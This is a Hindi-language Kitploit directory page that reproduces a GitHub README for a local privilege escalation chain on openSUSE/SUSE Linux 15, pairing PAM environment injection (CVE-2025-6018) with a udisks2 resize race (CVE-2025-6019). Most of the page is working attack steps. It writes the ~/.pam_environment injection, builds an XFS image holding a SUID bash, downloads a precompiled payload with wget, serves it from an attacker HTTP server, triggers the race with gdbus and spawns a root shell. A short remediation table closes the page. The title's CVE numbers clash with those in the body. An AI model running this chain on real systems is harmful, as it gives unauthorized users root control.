Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-6018-9-Local-Privilege-Escalation-Chain — SUSE Linux पर स्थानीय विशेषाधिकार वृद्धि के लिए शोषण श्रृंखला, PAM पर्यावरण इंजेक्शन और udisks2 रेस कंडीशन को जोड़कर रूट शेल प्राप्त करना। | Kitploit
उपकरण/GitHubGitHub/m0r4a/cve-2026-6018-9-local-privilege-escalation-chain
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubm0r4a/cve-2026-6018-9-local-privilege-escalation-chain

CVE-2026-6018-9-Local-Privilege-Escalation-Chain

SUSE Linux पर स्थानीय विशेषाधिकार वृद्धि के लिए शोषण श्रृंखला, PAM पर्यावरण इंजेक्शन और udisks2 रेस कंडीशन को जोड़कर रूट शेल प्राप्त करना।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
114 महीने पहलेअभी तक समीक्षित नहीं

CVE-2025-6018 + CVE-2025-6019: स्थानीय विशेषाधिकार वृद्धि श्रृंखला

लक्षित OS: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
आवश्यक पहुंच: SSH पहुंच वाला गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता
परिणाम: पूर्ण रूट शेल

अवलोकन

यह दस्तावेज़ Qualys Threat Research Unit द्वारा खोजी गई दो श्रृंखलाबद्ध स्थानीय विशेषाधिकार वृद्धि कमजोरियों के मैनुअल शोषण का विवरण देता है:

  • CVE-2025-6018 — ~/.pam_environment के माध्यम से PAM पर्यावरण चर इंजेक्शन, जो एक दूरस्थ SSH उपयोगकर्ता को allow_active Polkit स्थिति प्राप्त करने की अनुमति देता है जो सामान्यतः भौतिक रूप से उपस्थित कंसोल उपयोगकर्ताओं के लिए आरक्षित होती है।
  • CVE-2025-6019 — libblockdev (जिसका उपयोग udisks2 करता है) Filesystem.Resize D-Bus ऑपरेशन के दौरान फाइलसिस्टम को अस्थायी रूप से माउंट करते समय nosuid फ्लैग लागू करने में विफल रहता है, जिससे उपयोगकर्ता-नियंत्रित लूप डिवाइस से SUID बाइनरी का निष्पादन संभव हो जाता है।

एक साथ जोड़े जाने पर, ये कमजोरियां किसी भी गैर-विशेषाधिकार प्राप्त SSH उपयोगकर्ता को अन्य उपयोगकर्ताओं के किसी भी इंटरैक्शन के बिना रूट तक विशेषाधिकार बढ़ाने की अनुमति देती हैं।

पूर्वापेक्षाएँ

हमलावर मशीन (Kali Linux):

  • xfsprogs स्थापित (sudo apt install xfsprogs -y)
  • gcc उपलब्ध
  • HTTP सर्वर क्षमता (python3 -m http.server)

लक्षित मशीन:

  • openSUSE Leap 15.x या SUSE Linux Enterprise 15.x
  • udisks2 और polkit स्थापित (इन प्रणालियों पर डिफ़ॉल्ट)
  • gdbus उपलब्ध (glib2 का हिस्सा, डिफ़ॉल्ट रूप से स्थापित)
  • गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में SSH पहुंच

चरण 1: कमजोरी सत्यापित करें

गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में SSH पहुंच प्राप्त करने के बाद, पुष्टि करें कि लक्ष्य कमजोर है।

OS जांचें:

root@kitploit:~
cat /etc/os-release | grep -E "NAME|VERSION"

सिस्टम openSUSE Leap 15.x या SUSE Linux Enterprise 15.x होना चाहिए।

जांचें कि pam_env उपयोगकर्ता फ़ाइलें पढ़ता है:

root@kitploit:~
grep "pam_env" /etc/pam.d/common-auth

user_readenv=1 या केवल pam_env.so की उपस्थिति देखें। डिफ़ॉल्ट SUSE इंस्टॉलेशन पर यह सक्षम है।

जांचें कि udisks2 और polkit चल रहे हैं:

root@kitploit:~
systemctl is-active udisks2
systemctl is-active polkit

लूप डिवाइस सेटअप के लिए Polkit नीति जांचें:

root@kitploit:~
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy

allow_active मान yes होना चाहिए।


चरण 2: CVE-2025-6018 — PAM इंजेक्शन के माध्यम से allow_active प्राप्त करें

यह कमजोरी इस तथ्य का दुरुपयोग करती है कि pam_env.so SSH लॉगिन के दौरान ~/.pam_environment पढ़ता है और pam_systemd.so द्वारा सत्र संदर्भ का मूल्यांकन करने से पहले उन चरों को सत्र पर्यावरण में इंजेक्ट करता है। XDG_SEAT और XDG_VTNR सेट करके, हमलावर systemd-logind को दूरस्थ SSH सत्र को भौतिक कंसोल सत्र के रूप में मानने के लिए धोखा देता है, जिससे allow_active Polkit विशेषाधिकार प्राप्त होते हैं।

चर इंजेक्ट करें:

root@kitploit:~
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment

PAM प्रोसेसिंग ट्रिगर करने के लिए लॉग आउट करें और SSH के माध्यम से पुनः कनेक्ट करें:

root@kitploit:~
exit
root@kitploit:~
ssh user@<target_ip>

सत्यापित करें कि allow_active अब प्रदान किया गया है:

root@kitploit:~
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"

आउटपुट निम्न दिखाना चाहिए:

root@kitploit:~
Active=yes
Seat=seat0
VTNr=1

यदि स्वचालित रूप से आबाद नहीं है तो सत्र ID और D-Bus पता सेट करें:

root@kitploit:~
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus

चरण 3: दुर्भावनापूर्ण XFS इमेज तैयार करें (हमलावर मशीन)

XFS इमेज को SUSE 15 कर्नेल के साथ संगत सुविधाओं के साथ स्वरूपित किया जाना चाहिए। xfsprogs के आधुनिक संस्करण डिफ़ॉल्ट रूप से exchange, parent, bigtime, inobtcount, और nrext64 जैसी सुविधाओं को सक्षम करते हैं, जो पुराने SUSE कर्नेल द्वारा समर्थित नहीं हैं और माउंट विफलताओं का कारण बनेंगे। निम्नलिखित फ्लैग एक संगत V5 XFS इमेज उत्पन्न करते हैं:

root@kitploit:~
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500

mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image

इमेज माउंट करें और SUID bash बाइनरी इंजेक्ट करें:

root@kitploit:~
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt

आउटपुट -rwsr-xr-x 1 root root दिखाना चाहिए।


चरण 4: रेस कंडीशन कैचर तैयार करें (हमलावर मशीन)

क्योंकि Filesystem.Resize के दौरान कमजोर माउंट विंडो केवल कुछ मिलीसेकंड चौड़ी होती है, इसे विश्वसनीय रूप से पकड़ने के लिए एक संकलित C बाइनरी की आवश्यकता होती है। एक शुद्ध Bash लूप बहुत धीमा है।

रिलीज़ पेज से पूर्व-संकलित पेलोड डाउनलोड करें:

root@kitploit:~
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload

[!NOTE] आप बाइनरी स्वयं भी संकलित कर सकते हैं। स्रोत कोड payload.c में उपलब्ध है।

दोनों फ़ाइलों को HTTP पर सर्व करें:

root@kitploit:~
cd /tmp && python3 -m http.server 8888

चरण 5: फ़ाइलों को लक्ष्य पर स्थानांतरित करें

root@kitploit:~
# XFS इमेज स्थानांतरित करें
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image

# कैचर बाइनरी स्थानांतरित करें
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload

चरण 6: CVE-2025-6019 — udisks2 रेस कंडीशन का शोषण करें

इस चरण के लिए लक्ष्य पर दो समवर्ती SSH सत्रों की आवश्यकता होती है।

लूप डिवाइस सेट करें (किसी भी सत्र में):

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction

निर्दिष्ट लूप डिवाइस पर ध्यान दें, उदाहरण के लिए /dev/loop1।

सत्र 1: कैचर शुरू करें और इसे चालू रखें:

root@kitploit:~
/tmp/payload

[!NOTE] यदि कैचर रूट शेल उत्पन्न किए बिना तुरंत बाहर निकलता है, तो लूप डिवाइस सेट करने से पहले इसे शुरू करने का प्रयास करें और अनुक्रम दोहराएं।

सत्र 2: तुरंत रिसाइज़ ट्रिगर करें:

root@kitploit:~
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus

gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

Resize कॉल एक त्रुटि लौटाएगा, लेकिन विफल होने से पहले, libblockdev फाइलसिस्टम को /tmp/blockdev.XXXXXX/ के अंतर्गत एक अस्थायी पथ पर nosuid फ्लैग के बिना माउंट करता है। सत्र 1 में कैचर इस माउंट का पता लगाता है, इसके अंदर से SUID bash बाइनरी निष्पादित करता है, एक रूट शेल को /tmp/rootbash में कॉपी करता है, और इसे स्पॉन करता है।

[!NOTE] यदि आपको Not authorized to perform operation के साथ समस्या है, तो उस टर्मिनल का उपयोग करने का प्रयास करें जिसका उपयोग आपने udiskctl loop-setup... कमांड को सफलतापूर्वक निष्पादित करने के लिए किया था और /tmp/payload स्क्रिप्ट चलाने के लिए दूसरे शेल का उपयोग करें।


चरण 7: रूट शेल प्राप्त करें

एक बार कैचर पूरा हो जाने पर, एक रूट शेल या तो स्वचालित रूप से स्पॉन होता है या निम्न के माध्यम से प्राप्त किया जा सकता है:

root@kitploit:~
/tmp/rootbash -p
whoami
# root

उपचार

टूल डाउनलोड करें
घटकसमाधान
CVE-2025-6018PAM में user_readenv अक्षम करें: /etc/pam.d/common-auth में user_readenv=0 सेट करें
CVE-2025-6019वितरण विक्रेता से पैच किए गए संस्करणों में libblockdev और udisks2 अपडेट करें
Polkit सख्तीकरणUDisks2 नीति फ़ाइल में org.freedesktop.udisks2.loop-setup के लिए allow_active को auth_admin में बदलें